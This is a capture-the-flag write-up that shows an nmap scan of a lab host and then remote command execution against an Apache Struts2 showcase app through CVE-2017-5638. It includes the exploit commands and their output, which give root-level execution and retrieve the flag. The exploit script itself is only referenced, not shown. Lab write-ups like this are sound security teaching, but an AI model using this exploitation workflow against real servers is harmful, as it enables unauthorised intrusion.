

Writeup Capturex Oxygen

First use nmap -Pn

used when you want to scan hosts that may have ICMP (ping) requests disabled or when you want to perform a scan without generating network traffic that might be detected by intrusion detection systems.

```
(kali㉿kali)-[~]  
$ nmap --min-rate 5000 -Pn 192.168.8.114  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-03 00:24 EDT  
Nmap scan report for 192.168.8.114  
Host is up (0.0044s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
8080/tcp   open  http-proxy  
  
Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds
```

192.168.8.114:8080/showcase.jsp

Examples ▾ Integration ▾ AJAX ▾ Interactive Demo

n!

es and tag usages. Essentially, the application exercises various framework

ok » pages.

[View Sources](#)

Then search for exploit related to struts2 showcase

<https://medium.com/@lucideus/exploiting-apache-struts2-cve-2017-5638-lucideus-research-83adb9490ede>

change the vanilla payload to python3 format for the python command being able to execute.

After execute,

```
(kali㉿kali)-[~]  
$ python ex.py http://192.168.8.114:8080/showcase.jsp "pwd "  
[*] CVE: 2017-5638 - Apache Struts2 S2-045  
[*] cmd: pwd  
b'/usr/local/tomcat\n'
```

```
(kali㉿kali)-[~]  
$ python ex.py http://192.168.8.114:8080/showcase.jsp "id "  
[*] CVE: 2017-5638 - Apache Struts2 S2-045  
[*] cmd: id  
b'uid=0(root) gid=0(root) groups=0(root)\n'
```

```
(kali㉿kali)-[~]  
$ python ex.py http://192.168.8.114:8080/showcase.jsp "find / -name flag.txt"  
[*] CVE: 2017-5638 - Apache Struts2 S2-045  
[*] cmd: find / -name flag.txt  
b'/var/secret/flag.txt\n'
```

```
(kali㉿kali)-[~]  
$ python ex.py http://192.168.8.114:8080/showcase.jsp "cat /var/secret/flag.txt"  
[*] CVE: 2017-5638 - Apache Struts2 S2-045  
[*] cmd: cat /var/secret/flag.txt  
b'flag{7fc4b2162cc4d91d5ababf66c968380d}\n'
```